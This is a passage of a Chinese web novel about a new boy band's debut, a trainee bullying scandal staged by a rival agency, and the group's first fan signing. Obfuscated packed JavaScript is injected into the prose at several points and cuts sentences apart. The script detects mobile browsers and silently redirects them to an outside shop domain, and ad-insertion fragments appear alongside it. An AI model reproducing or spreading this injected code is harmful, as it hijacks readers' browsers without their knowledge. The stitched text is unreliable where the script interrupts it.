在打歌期的空档放了不少物料给粉丝们，比如之前藏着没放出去的其他概念照，以及出道当天录制的出道专Reaction。 “噗——这充满了新人美的尴尬开头。” “吴星雨眼里的慌乱都要溢出来了，后面江翰飞回答的时候用的还是问句，十秒钟，让我笑得躺在床上打滚。” “我只代替他们尴尬哈哈哈哈。” “我就敢说，全程就于老师冷静控场。” “哈哈哈哈笑死我了，你团看到队长的第一眼居然也是看腹肌！” “谁不是呢，腹肌和马甲线平等的勾引我。” “W······我去！别误会，我不是想说卧槽，我是想说我去！” “哈哈哈楼上你也没放过他。” “我作证，当时看到那一眼也是脱口而出一句卧槽！” “谁懂，我一个只看剧的因为某位up主做MV分析入坑了这个团，当时把我踹进去的就是这个眼神，冷漠，疏离。天地之下，我就是你的狗，我的主人汪汪汪！” “楼上······你······算了，汪汪汪。” “不是，就我一个妈粉吗？[截图]我儿子都害羞得手指蜷缩了，你们还在笑。” “细节啊，不仅手指蜷缩了，耳尖是不是也红了？救命，江翰飞原来是这种角色吗？” “美颜两连击，禹安宝宝脸在江山在，这脸比建模还精致。” “这个团没有丑人也没有废物，真的很心水了，是我喜欢的样子。” “禹安不仅脸好哦，他还会创作，之前他的资料出来的时候写的是Rap和创作。” “于老师扎小辫挺有感觉的，一种介于放荡不羁的黑客和浪子之间feel。” “我也觉得，他的声音就很有故事感，配上小辫真是绝了。” “葛文山也是啊，他是颓废感特别明显，我真的很吃他的颜，而且身材巨好！192的大长腿！” “内部消息，听说当初组这个团还特意筛选了身高，因为葛文山实在太高了，矮太多不好站队形了。” “合理怀疑你在内涵我门面大人。” “哈哈哈哈哈哈” Reaction释出当天，本该在周末下降的音源逆行了，成功进入了Top100，排在99，还带着专辑销量上涨，形势大好。 而另一边，一场交易也完成了。 “只要你站出来说清楚这件事，不用担心签下的保密协议和赔偿，我们会为你支付的。”电话里一头的声音失真，“钱还是之前谈好的30万，只要你能保证你说的是真话。” “我说的是真的，我有录音和视频。”电话这头的男生捏紧了手机，手指骨结发白。 “很好，发个账户给我，我先给你汇款30%，你把证据发过来，我再给你30%，等你做完这件事，剩下的40%一起给你。” “······没、没问题。”男生按着发疼的肋骨，颤着声音答道。 我没办法了，实在没办法了。 第二天晚上九点，一个热搜从天而降：#乐狮娱乐霸凌。 点进词条最热的博文是一条视频，一个自称是乐狮娱乐练习生的男生拿着身份证和乐狮娱乐的练习生身份卡，说乐狮练习生对他进行精神和身体上的霸凌，已经严重侵害了他的身心健康。他早就想退出，但无奈的是自己主动退出公司需要赔偿公司的一定的金额，他现在拿不出这笔钱，所以一直无法逃脱。现在对方的霸凌行为也来越严重，宿舍的成员也会在他回宿舍后恶意排挤他，导致他不得不站出来寻求帮助并向乐狮进行举报。 “乐狮？不就是大热组合Hitting的公司吗？” “是的，但和我们Hitting没关系哈。Hitting都出道好几年了，他才去乐狮一年，抱走我Hitting。” “垃圾公司，策划和安保做的跟狗屎一样，还有这种事情，祝你早日倒闭。” “那说起来，他的时间不正好能对上乐狮新男团SterLa-的时间吗？” “细思恐极，我刚粉上，不会塌的这么快吧？” “楼上早点跑吧，我看他们面相也不是什么好人。” “你怎么不说你看手相呢？他只是说乐狮有人霸凌他，哪个字提到SterLa-了？真当造谣不犯法？” “这么护着，踩着你痛脚了？我就要说就要说，就是SterLa-霸凌怎么了？就算不是他们也是他们公司的，沆瀣一气，能有什么好人？” 乐狮娱乐，实名举报，练习生，霸凌；几个关键词组合起来直接霸占了热搜前三。里面当然少不了某些人的暗中助力。 而昨天下午还被公司放出来的Reaction逗得直乐，今天一直在喜滋滋庆祝SterLa-出道即入Top100战绩可查的粉丝们，现在被举报视频下的发言气得脑门疼。 无妄之灾，这根本就是无妄之灾！ 公司的事情跟他们这个小小的新人男团有什么关系？ 好事儿轮不上他们，听说第一场打歌的休息室小的人都站不进去。到了这种坏事儿就把SterLa-推出来背锅！ 情绪上头，不少粉丝愤怒的直接冲向了乐狮娱乐的官方账号，要求他们站出来发布声明，这事儿和SterLa-没有关系。 也有粉丝在各家超话和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741640|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团队超话里喊话安抚，等公司的反应和通稿，不要随意和路人开麦，和他们吵起来把关注都引向了SterLa-不是好事情。 连富婆朱朱也站出来让：大家不要紧张，相信我们的眼光和选择。首先这个热搜本身来的就不正常；其次这是公司出现了这种情况，实际和SterLa-没有任何本质上的关联；最后，我不认为一个内向害羞到蜷手指的人，一个在化妆师姐姐补妆的时候主动半蹲着的人和认真对待着每一个舞台的人会去霸凌别人。我也相信所有的小蝴蝶们都信任着阿飞。我们只需要等待并且监督公司出澄清然后铺满整个平台。 娇娇自上次出图上热搜事件后，在江翰飞的粉圈里说话颇有分量，粉丝们也逐渐冷静。 公司早已经关注到了这件事。正在着手应对，只是现在视频下面的风向被带的都往新团SterLa-上，但实际上这个发视频的练习生所说的霸凌人员不明，公司排查需要时间。且收到消息后就开始尝试练习对方，但这位练习生昨天请假外出，到现在还没有回来，留下的联系方式已经联系不上了。 乐狮的公关部成立多年经验丰富，了解完情况后第一时间就知道这绝不是练习生一人能搞出来的，三个热搜，大面积的营销号搬运，没有钱可成不了事儿。这事儿估计还没结束。 这样的情况下，如果他们直接否认无疑正中对方下怀，对方手里估计是有什么证据在等着他们。 当务之急是需要查清事实以及在可以引导的舆论中保下新团SterLa-。 公关部立即兵分几路。一边找人继续联系发视频的练习生，一边从该练习生在公司的所有记录进行排查，重点找来负责该练习生的C级练管，以及上课老师，宿管等所有可能看到情况的人。又在所有练习生大群里发了消息询问是否有知情者。 同时在网上第一时间发了声明表明他们的态度： @乐狮娱乐：针对热搜所说乐狮娱乐的练习生霸凌事件，事实情况正在调查中，稍后会把调查到的情况以及处理措施向各位公布。 如果练习生有证据可以直接联系我们发送证据，我们会第一时间做出处理。 另外，为了避免调查取证过程中出现问题，我们已经以公司的名义与当地警方取得沟通进行备案。在此过程中我们也将时刻关注恶意引导风向或造谣者，使用合法手段维护我们的权益。 乐狮娱乐作为娱乐公司，尊重所有艺人、练习生、粉丝们以及工作人员的努力，坚决杜绝这种不正风气的增长。 恳请大家给我们一点时间。 公告态度诚恳，做了交代会调查，并且主动联系警方。 好歹把公众的情绪安抚了下来。 江翰飞在宿舍里看到这个视频，突然想起来视频里的人是谁。 这个人不就是他还是C级练习生时，中间有一次回宿舍遇到蹲在客厅哭的人吗？没记错的话后来还和他搬进了同一间房间，补了那个施姓男生空位。 他还记得这个男生刚进宿舍的时候还挺开朗的。他能记得对方也是因为同样是进宿舍遭到冷遇，这个男生还能笑着把自我介绍说完，而自己当时见没人搭理就直接没开口。后来还因为这个在心里反思过自己一阵。 现在再看视频里他的样子，面部浮肿，嘴唇泛白干裂，眼睛里没了那点笑意，看不到当时开朗爱笑的影子。 江翰飞想起这个男生算是和自己有交集，把自己知道的事情始末发给了唐君君。 两分钟后，收到唐君君的回复：来11楼会议室。 30.第 30 章 会议室里聚集着公关部成员，唐君君和C级练管。 此时事情基本上已经搞清楚了，没想到最有效的是在练习生群里发的消息。 发出去后不久就有好几个练习生匿名给他们发了消息。 顺着名字和监控往下查，很快就锁定了一伙人。这伙人都是C级练习生，他们下过手的也不止举报人一个。 只是江翰飞的消息倒让他们有点难办了。 责任重大，唐君君就直接让江翰飞来会议室面谈。 “你确定没有参与过任何有关他的事儿吧？”唐君君蹙眉问道，“信任建立很难，但是崩塌很快。这次下了狠心才稳住了公众的信任，在我们的公告发了之后他再拿出任何不利于你的证据，我们想再解释就很难了。” “我确定。”江翰飞直视唐君君的眼睛，肯定的说道，“而且这伙人我也遇到过，我刚进公司的第一天和他们上的同一节舞蹈课。” 江翰飞认出公司查到的这群人不就是自己进公司练习第一天撞自己的那伙人吗？ 本来他都没什么记忆了，但是那个高壮的男生带着的耳环，让他看到后就想起来了。 “这伙人在我进公司第一天的时候应该也是想欺负一下我。” 想到现在的情况，江翰飞如实的和唐君君他们说了自己第一天进公司遇到的事情。其实这些如果不是刻意去回想，他都快记不清了。 当时才来第一天，脑子里都是混乱的想法，实在没有记下他们的空间。 唐君君和公关部的人听江翰飞说完倒是反而笑起来，公关部经理在旁边高兴起来，”这下稳了。“ “好了，你可以回去了，好好休息，把精力集中在舞台就行。”唐君君让他离开。 江翰飞走后，公关部就开始编辑公告。 @乐狮娱乐： 感谢大家的耐心，下面我们将和大家同步事件进度。 经排查，已经找到了对举报人施加精神和身体暴力的练习生，共有以下六人（名字）。这六人均为乐狮C级练习生。 首先，对此我们对自身的监管不利向举报人诚挚道歉，我们将无偿解除和举报人之间的练习生合约，并且如需医治，医疗期间的所有费用由我们承担。 其次，我们已解雇相关练管和宿管；并重新制定了练习生相关管理条例杜绝此时再次发生。 最后，我们无意包庇当事人，现已经开除这六人。 相关文件已经递交到官方，入举报人有更多诉求，可以交由官方进行判定和执行。 补充声明，近期也在网络上看到许多造谣称‘我司新推出的SterLa-其中有人参与霸凌’。在此严正声明：SterLa-没有任何人给与过此人的精神和身体的霸凌。相反，在SterLa-中也有一名成员曾在初期也遭受到过这伙人同样的对待。 恳请各位不信谣不传谣。SterLa-与此事无关。 公告发出迅速上了热搜，不仅是观望这件事的人多，公司自己还买了热搜和营销，务必要让所有人看到处理情况，不然那些人很久以后就会选择性忘记最后的澄清，只记得霸凌相关了。 等候许久的粉丝们看完终于对乐狮这个狗公司稍微没那么生气了。不管是处理速度和态度已经最后做出的声明，都已经算是娱乐圈的良心了，口碑还意外的提高不少。 但！是！ SterLa-的粉丝想要原地炸了那几个人。 那伙狗东西还欺负过SterLa-！ 虽然不知道谁被他们欺负过，先炸了再说。 几人的粉丝纷纷猜测该不会是自家豆被欺负了吧？连葛文山家的粉丝都觉得自家豆虽然长得高，但是又瘦又不怎么爱说话，是个容易受欺负的类型。更别提本来看起来就相对更瘦弱些的江翰飞和禹安了。 两家粉丝心疼的不行，直接化悲愤为动力，努力给他们冲榜和买专做数据。 举报人和暗中和举报人联系的也没想到这次乐狮娱乐这么刚，准备等他们有反驳的意思就丢出去的证据也没用了。而且查了之后还跟官方报备上了。这让暗中搞鬼的人收了心思，只警告举报人不能把他的事情说出去。就此结束交易。 最后举报人拿到了60%的款18万，无偿与乐狮解约了，公司还反而给了他几万块块钱说是赔偿他的损失费，他接了。回到乐狮拿东西的时候特地问了能不能给他江翰飞的联系方式，如果不能的话帮他给江翰飞带一句谢谢。 谢谢当时江翰飞递来的纸巾。 工作人员如实转达了，江翰飞听工作人员说完，工作人员道了谢低着头脚后跟蹭蹭地，安静站了好一会儿才回了宿舍。 来势汹汹的举报事件结束得虎头蛇尾，但不耽误唐君君借着机会把上次安阳娱乐整他们的事儿一起做了报告。 是的，唐君君和营销部的人查了很多层还是查到了，上次ICS休息室和这次联系乐狮前练习生进行举报都是安阳娱乐的人搞的。上次大概是想恶心一下他们，如果能让作为新人的SterLa-在首场演出因为这件事儿心态失衡，最后在台上出问题那就更是喜出望外。而举报对SterLa-只是被扫到的台风尾，真在想攻击的是公司。乐狮作为上市公司，负面舆论是要命的。 现在安阳娱乐就是摆明了想跟乐狮打擂台，那就不是她唐君君一个人的事儿了，她有她该干的活儿，老板也有老板要干的事儿。 新的一周开启，SterLa-练习和打歌中。一般新人男团的回归打歌期都会拉满1个月的打歌时间。人气团体看情况，有时候一两周，有时候也会拉长；而大热组合就比较随意了，有时候甚至直接不打歌。 第二次来到ICS远没有第一次那么紧张了。 “诶，阿飞，那是不是你的手幅和照片啊？”江翰飞被于立果突然问到，顺着他的视线方向望过去。 果然不仅有上次那三位女生，还有几个没见过的女生站在一起，手里都拿着江翰飞的手幅或者团扇。见他们出现，眼神像开灯一样biu的一下就亮了，赶紧把手里的手幅和扇子举了起来。 江翰飞阴沉了两天的心一下子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749573|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拨云见雾，阳光照进来，雨水蒸发成汽消散开。 见自家爱豆也望过来，几个女孩子更兴奋了，看着他，站在那边等他们过去。 “啊啊啊他看过来了，我的宝宝看过来了！” “阿飞！昨天约着今天一起来给他加油果然是对的呜呜呜呜，不枉我昨天晚上赶了通宵过来。” 江翰飞走过来时正好听见这句昨晚赶通宵过来。想问又不好开口。 其他几个女孩儿已经开始跟着江翰飞往前走着，一边跟他聊着了：“阿飞要注意休息！感觉你又瘦了！” “好的，我会的。” “多吃点！” “·····那吃太多了可能不太行。” “没事！你变胖了我们也会爱你的！” “变胖了可能就看不到我，长胖了会去减肥，可就见不到了。” “那有好好睡觉吗？” “有的有的，最近睡得都挺好的。”江翰飞认真回答后又想起刚刚听见的那句话，偏过头看向那两个女生，“刚刚听你们说是通宵赶车过来的，有睡好吗？这样不太安全，有时间再来就可以。” “我会努力一直在的。” 没来得及听见她们的回复就到了入口处，粉丝们进不去。江翰飞回忆着网上的比心，转过身来把双手举到头顶，想比个大心的时候突然又有点羞赧，就两只手合着一起比了个小心，再跟她们挥手再见。 等他们都进去了，那个听见江翰飞问话的女孩子一时没忍住，眼圈一红，突然落下泪来。 旁边的几个女孩儿连忙安慰她，问她怎么了，是不是因为见到真人太激动了。 那个女孩儿一边摇头一边往外走，想着这里人太多嘴杂各家粉丝都有，不想在这儿给他惹麻烦。 几个女生也跟着她往外走，她们几个都是江翰飞的唯粉，看完江翰飞也没有其他人想看，走了也没什么。 拐了两个转角，进了一间咖啡厅。找了个安静的角落，点完餐，又细细地安慰起她来。 “我没事。”女孩儿说话的时候自带鼻音，眼睛红肿，眼瞳却亮晶晶的，“只是想到了我前夫哥。” “我TM给他花了那么多钱，连夜坐车追行程好多次，但是从没听他问过我安不安全，有没有睡好。”女孩儿端起点的冰咖啡一口气喝了半杯，呼出一口气，显出几分豪爽来，“江翰飞以后就是我最好的宝宝！呜呜呜呜呜。” 其他几个小姐妹：······ 看她肿着眼睛，叫嚷着江翰飞最帅最可爱最好的样子，又都忍不住笑起来。 是呀，我们也觉得江翰飞就是最好最棒哒！ “其实我觉得他说的最后一句话才是最有心的吧？”其中一位小妹妹举手示意。 “什么什么？”当时挺嘈杂的，除了她们和江翰飞，还有其他的队友也在和粉丝互动，此起彼伏的尖叫声并不少，离得稍微远点就听不清楚了。 “最后一句是说有时间再来吗？” “不是。” “他说：我会努力一直在的。” 31.第 31 章 乐狮的霸凌事件解决得漂亮，虽然确实有霸凌情况存在，但后续的处理让大众相对满意，尤其是主动跟警方联系备案的举动以及对举报人的补偿。旗下的艺人团体几乎没有受到影响。 唯一被牵连的SterLa-也因为粉丝们心疼，有疲软态势的音源甚至又往前冲了一波，已经到了87名。 销量更是一举冲上了10万。可别小瞧10万的销量，在这个男女团扎堆出道，时不时还有Solo和跨界歌手出专的时代，饶是华国地大物博人多，分散到各个团体，也不会每个团体都能卖上10万。况且其中还有许多购买能力较低的学生粉，路人粉，博爱粉，真正作为偶像团体销量基石是有购买力的死忠粉。 因此圈内虽然有上百万销量的天团，但大多数男团都还在50万以下的销量线挣扎。不少出道一两年有点温度的男团销量才堪堪10万+。而新人团能有10万销量的只有去年的选秀团，出道即卖80万+销量的历史级记录。今年出道的团体到现在除了K家的IUE过了5万的线卖了7万+，其他团体都凄凄惨惨，同期安阳娱乐的KtM卖了3万不到。 横向一对比，SterLa-的10万+销量已经是可以排进男团出道历史的销量级别了。网上不少圈中人都在讨论今年的新团双子星——K家的IUE和乐狮的SterLa-，一个音源成绩好，一个销量成绩好，今年的新人奖必定是要打一架了。 市场向来闻风而动，不少品牌方见新人团有这个购买力也心动了。甭管新团老团的，能给品牌方带来销量的才是好团。大品牌方还在观望，中小品牌方已经开始接触。 公司这边拉出销量曲线，大部分的销量增长都集中在打歌期。也就说明近期的活动转化了许多有购买力的粉丝入坑买专。这消息让出道艺人部的刘部长喜笑颜开，赶紧报了上去：前一个Cilier扑了一定不是我们的问题，我们的运营策划还是很厉害的！ 而富婆朱朱更是购买主力中的主力。 SterLa-出道专目前为止只放出了7场团体签售的链接，朱朱冲了全勤[注1]，算下来也就买了一千多张吧。 朱朱自己还挺无所谓的，SterLa-只是个刚出道的新团，觉得想冲签售容易得很，她冲顶级天团的签售一场的花费就足够冲他们整整7场，所以买的时候数量直接冲着必中的数去的。 还有三天就到他们的第一场签售了，朱朱看着房间角落堆着的礼物笑得开心，马上就能近距离见面啦！ 这边的江翰飞正拿着手机搜索着网上流传高评价的签售会互动。 他长这么大，除了在班上跟女同学值日、打扫卫生之外，他都没有单独和女孩子相处过，只能跑来网上学习别人怎么回复。 但好多话他真的觉得很难说出口，什么“你的老公难道不是我吗？”“那我们今天就去结婚吧！”，光是想想自己说这话的场面都能让他在被子里滚上几圈。 看了一圈，不断代入自己的江翰飞已经感觉自己要被煮熟了，真，真的要说这么羞耻的话吗？ 隔壁床的禹安听见江翰飞翻来翻去的声音，拉下自己的眼罩，“怎么还不睡觉？” “不好意思，吵醒你了吗？”江翰飞听禹安问自己，以为是自己把他吵醒了。 “没事，我本来也没睡着。”禹安和江翰飞住着两人间已经有一段时间，对彼此的习惯有了些了解，江翰飞很少有这样翻来覆去睡不着的时候，“你是有什么烦心事吗？方便说的话可以跟我讲讲。” 江翰飞是团内最小的一个，比他还小一岁，但平时反而是他经常照顾着团内不太细心的自己。 “我就是有点苦恼明天的签售会怎么办。”江翰飞听不是被自己吵醒，眉头一松，下一刻又立即皱起来，声音从被子里传出来显得闷闷的，“在网上看了好多评价很高的，知道自己应该这么说，但是又······”有点羞耻几个字江翰飞有些说不出口，作为职业爱豆，他觉得这不是他应该说的话。 “有点不好意思？”禹安却懂了他没说完的话。江翰飞实在是个好懂的人，没有什么心眼，甚至可以评价为有点老实；实力不错有天赋，对人的感觉很敏感，不是强势的类型，甚至没见过他生气。 对禹安来说，是个很合心意的队友。 禹安侧过身，单手撑着脑袋，“不用完全照着学。你是爱豆，但你也是自己。哪怕是粉丝也不想听千篇一律的话，做你自己就行了。” “但是爱豆不就是要满足粉丝们的需求吗？”江翰飞反驳。 “那这么多粉丝，一人一个需求你能满足得过来？”禹安也不跟他争辩，“而且粉丝也没你想的那么在意你。爱来得快散的也快，太在意受伤的只会是你。” 禹安嗤笑一声躺下，戴上睡眠眼罩，意思很明显：不想跟傻子论长短。 江翰飞想起那几个女孩子看到自己眼里亮起的光；想到他们通宵赶过来，就为了站在门口见自己一面，说上几句话；想到台下用力挥舞的手幅和扇子。 黑暗的房间里，月光从窗外照进来。 他猜禹安还没有睡着，“我觉得不是。即使不能满足每个人的期望，但是我想成为他们想要的那个偶像。” 禹安觉得自己今天脑子不好才会跟江翰飞讨论这个，回了句：“随你吧。” 说完转过身背对着他睡觉了。 第二天是他们第一次签售会，一早就被逮到了化妆师做妆造。 签售会是露天的，幸好已经十月下旬，天气转凉，秋风吹来还带着几分惬意。 他们入场时，台下已经坐满了来参加签售的粉丝。现在还没有禁止收礼物，所以来的人身边大包小包的放着漂亮的礼物袋子。 见他们进来，女孩子们就开始沸腾起来，好几个女生手里的长枪短炮已经举起来对着他们，随着他们移动而动。 “1 2 3，大家好，我们是SterLa-，欢迎大家来到我们的首场签售。”五人齐齐说着开场语，说完被工作人员引到座位后面坐下，签售就开始了。 第一位上来的女孩子扎着双马尾上来，坐在吴星雨对面，几人悄悄竖起耳朵，他们也没签售过，现场取取经。 结果就听女孩儿问道，“哥哥，你真的有腹肌吗？” 噗—— 几人赶紧收回耳朵，眼观鼻鼻观心，这要怎么回答？ “有啊，真实有效，童叟无欺！”吴星雨大大方方地说道。以前混地下街舞的时候啥话没听过呢，这对他一点儿杀伤力没有。 “哇，哥哥你几块腹肌啊，能摸摸吗？”女孩儿当然知道不能上手摸，只是调戏一下吴星雨，“我都没有摸过腹肌。” “6块，8块腹肌太难了，等我以后有时间再多健身，争取整出8块腹肌来！” “别！别别别！您可千万别健身。6块已经很好了！”女孩儿忙说道，好像吴星雨去健身了会发生什么不好的事情一样 () { $(''.inform'').remove(); $(''#content'').append('' 。 “啊是吗？好吧。” 吴星雨在女孩儿的专辑上签下自己的名字，结束了对话。工作人员引导女孩儿往下一位于立果走去，下一位也坐到吴星雨面前开始聊天。 江翰飞坐在倒数第二个，中间坐着禹安，最左边坐着葛文山。 第一个签售的双马尾从禹安那儿站起来不等工作人员指引，直接一下子坐到了江翰飞面前：“阿飞！妈妈终于来看你了！” 江翰飞：······？ 这年纪是否有点不对？ 但他好歹职业爱豆，也是知道妈粉的存在。只是面对面，一个年轻靓丽的女孩儿自称你妈妈，实在是冲击太大。 “你好，过来辛苦了吧？”江翰飞迅速进行面部管理，对着女孩儿问道。 “嗨，见你不辛苦。”女孩儿无所谓的摆摆手，从手里拎着的袋子里拿出一个礼物盒，“这是我给你买的礼物，希望你能亲自打开。” 江翰飞接过礼品盒，打开是一条手链，银白色的茉莉花链珠成串，还缀着一只透明的蝴蝶。 “喜欢吗？”女孩儿紧张地观察着江翰飞的神色。 “当然喜欢，好漂亮。”说着江翰飞直接就戴在了手上，还摇了摇。他的手腕细，骨结突出，和手链十分相称。 “这是我自己做的。”女孩子兴奋地涨红了脸，“我还在读书，以后等我挣钱了给你送更贵的。” 江翰飞又对着女孩儿摇了摇手链，笑着说：“不用啦，以后就送我你自己做的吧，我会更喜欢的。” 女孩儿还想说什么，但时间已经到了，只能匆忙地留下一句，“那说好了！” 下一位已经坐到了身前，江翰飞收回心神，终于遇上了最怕听见的一句话，“老公！我来见你啦！” 女孩儿长卷发，穿着素雅的连衣裙，看起来明明是很温柔的气质，但开口的一句话让江翰飞脸肉眼可见的红起来，眼神慌乱的乱瞟，又强制按捺住自己的害羞，正眼看过来。对视的时候朱朱分明看见了对方的睫毛都在颤抖着想闭眼逃跑。 凭借朱朱跟了江翰飞这么多场打歌的经验，她早知道江翰飞本身的性格有点内向，一旦有点害羞就上脸——脸和脖子红得特别快，有时候耳朵也会红透。 她知道自己喊这句老公江翰飞一定会害羞她才喊的，就是想逗逗他。 见他囧迫得睫毛都在抖还努力跟她对视，突然就不忍心继续逗他了，正准备开口说自己是开玩笑的，就听见江翰飞期期艾艾的回复：“嗯、嗯，你好，老···老····” “别老啦，我是开玩笑的！”朱朱瞥见他耳根果然红了，但还努力回应她，心里软乎乎的，简直想立即原地转妈粉，“最近打歌都不紧张了，我们阿飞真棒呀！” “对，最近习惯多了。”江翰飞见对方主动转移了话题说到打歌，暗暗松口气。 “你是不是每场打歌都有来，站在最后面那个呀？”江翰飞仔细打量着对方，觉得有点眼熟。 “我站那么后面你都认得出来？”朱朱惊讶了。她虽然场场都去，但是没有带着手幅和扇子，扛着自己的摄像机又站的远，不知道江翰飞是怎么认出来的。 “因为我老觉得你的镜头在拍我。”江翰飞抿嘴笑起来，“所以开灯的时候特别注意了一下。” 朱朱还没回答，旁边的工作人员一再示意她该起来了，“时间不够了，下场我们接着聊。” 姐可是买了7场的人。 32.第 32 章 签售日当天，各家粉丝都在暗戳戳的等待着什么。 今天第一场签售，必有美图和Repo！ 果不其然，签售结束没多久，小蝴蝶们就刷到了第一条来自一位画手大大的Repo。 [@清纯小狗煎包：第一次参加签售，我现在还有点激动，以下Repo仅来自我的个人经历感受，禁止二次搬运。 P1 自证，P2-P8是我用手机拍的图，虽然像素不是很好，但是阿飞宝宝超可爱的。 P9是我送的礼物。 我最大的感受就是：我的宝宝真的是太太太好了！ 能粉上你真的是我的幸运！ 事情是这样的，本来我早早做了妆造，但是去签售场地的路上出了点意外，一路狂奔过去，到场的时候他们已经快开始了，我的号码还特别靠前，随便扒拉了几下乱糟糟的头发就被催着上台签售了。 签到我宝的时候，他指着我的发卡问我，说这样歪着的发卡会不会扯着我的头发疼。谁懂啊！我带的是钻石发卡，特别重，之前没发现，一直到他提醒我才发现发卡拽着一小缕头发，生疼生疼的。 一路波折的我，听到这句就有点绷不住了。一个劲儿给他吐槽今天去见他的路上有多倒霉。他一直很认真地听着，然后很郑重，对，就是郑重的跟我说：你辛苦了。我当时差点脑子一激灵回复为人民服务！ 但这不是重点，重点是，他问我：这儿没有镜子，你不介意的话我帮你正一下你的发卡？ 我惊呆了！我没见过这么会的男的。这谁能拒绝，谁能拒绝我就问！ 然后他就一边特别温柔地说，如果扯到你头发把你扯疼了你要说。一边重新帮我把发卡别好了。 中间还有工作人员来催场，他还跟工作人员说让他稍等一下。 我真的，签完他之后我整个人都是愣的，真的想问，这个世界上怎么有这么温柔的男生啊！ 所有的委屈，焦虑，疲惫在他之后一点都没有了，真的都一点都没有了。 他真的特别特别好。] “你删了，我嫉妒！T T” “阿飞真的是个好宝宝。” “我们阿飞不是木头，他只是表情表达不是很多。很多小动作小细节都能看出来他真的是一个很温柔的人。” “姐妹问问怎么买签售？” “原来那个被他幸运别了发卡的人是你！” “心软软了。” 众人一刷新，发现博文又重新编辑了，又更新了一部分： [······ 恳请大家以后不要要求他做这样的事，因为他坐下就被工作人员提醒不可以做这种动作。虽然感到很幸福，但是也很担心阿飞会不会被公司责骂。 写到这里已经有点后悔当时自己没拒绝了。] “骂他干什么，第一次签售谁知道啊？以后不做不就好了吗？” “公司敢骂我阿飞，我就去骂他们！” “小姐姐放宽心，不要过于忧虑，不是你的原因造成的。” “[抱抱]” “心软软的，都是特别好的宝宝。” ······ 除了签售会的Repo，还有到场的站姐们的图在各个论坛，平台之间乱窜。有一套传播度特别高的图来自江翰飞的大站姐朱朱开的Fly站。 @Fly-Sterne：我的少年，往前飞吧！@SterLa- 江翰飞。[图]x9 朱朱的文案特别简单，图片却是每一张都很精美。 “Fly姐，你就是我的神！每一张都好帅！” “宝宝太帅了！最喜欢第4张，哈士奇的狗耳朵不要太合适！” “姐姐求！无水印原图，求求！” “第9张也好看，阿飞戴皇冠好合适，你就是一个小王子！” “我圆满了，每一张能看到手的图都戴着我送的手链，这是一直没有取下来过啊！不是什么奢侈品牌，是我自己做的手链而已，茉莉——莫离，我这辈子都离不开你了！” “姐能授权吗？真的好想用来做手幅，或者姐出周边吗？” ······ 签售会结束后，江翰飞正用小号刷手机，这是还是禹安教他的，用微信额外注册了一个号用来刷日常，大号不方便，一登录就会在超话里显示在线状态，没法潜水了。 禹安凑过来，“你在看什么？” “没什么，就签售会上粉丝发的博文。”他也看到了Fly发的九宫格。今天的签售会后他就把Fly和那个穿素雅长裙的女生联系起来了。虽然他有好几个站姐了，但是从第一场打歌就有拍图发图的的就只有Fly。 “哦，那你签售会不好意思了吗？”禹安就是想问这个才凑够来的，眼睛笑得眯起来，蔫坏。 “唔，没有吧？”嘴上说着没有，但实际又想起了没能叫出口的称呼，好像确实不太适合，这得犯重婚罪吧？但是她们辛辛苦苦过来，想听结果没听到好像也很不合适······ “哼。”禹安意味不明的笑了下，看着江翰飞眼里的不自然和纠结还是放过了他。 算了，不欺负老实人。 坐在前排的欣怡听见了他们的对话转过身来，“阿飞，今天签售会上给粉丝戴发卡的行为不太合适，以后签售会需要注意下。” “好的，我知道了。”江翰飞老实地点点头，他已经被唐君君打过电话骂过了，说这个头不能开，过于亲密了。 欣怡看江翰飞老老实实接受心里反而有点不得劲儿，又多解释了一句，“不是不让你和粉丝互动，只是需要把握好尺度，太过了容易引起一些不必要的风波。” 于立果坐在江翰飞后面，趴在江翰飞的座椅靠垫上，一只去揉江翰飞的后脑勺，一边接口，“欣怡姐，阿飞知道了。你再说她就要钻座位下面去了。” 江翰飞侧着身躲开于立果作乱的手，“嗯嗯，我知道了，下次不会了。” 欣怡看他俩互动放松下来，于立果和江翰飞队内关系最好是公认的，毕竟认识的也久，“对了，有个好消息要告诉你们。” 后排的葛文山和吴星雨也趴到前排的座椅靠垫上，五个大男生目光炯炯地看着欣怡。 “都了解你们的前辈团Hitting吧？”欣怡露出个故作神秘的笑来，见他们都点点头才又说道，“公司安排了你们上前辈团的自制综艺。” 五人目光一亮，都知道这是个好机会。 Hitting前辈作为大热男团，也是顶级男团之一，世巡是能用体育馆的等级，而且海外粉丝不少，上座率很高。他们的自制综艺则是公司 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自己策划，在视频网站发布的综艺。虽然是自己做的，不过质量有口皆碑，还有大量的粉丝群体，播放量不比一些小台的综艺节目差。 “回去记得把前辈团的综艺再多看看，熟悉一下团队的制作风格。人你们肯定都认识了吧？” 近期有太多邀约进来，公司也没想到刚出道能有这个反响，唐君君和执行经纪人两个人被各个品牌、杂志、采访等邀约缠得走不开身，得力助手欣怡就肩负起了部分跟行程的事。 “还有不熟悉的赶紧找时间补补课，预计录制时间是十一月初，大概三号的样子，具体录制行程还得跟Hitting那边商量空什么时间出来，确定之后会更新你们的行程表发到群里。” “嗯嗯！” 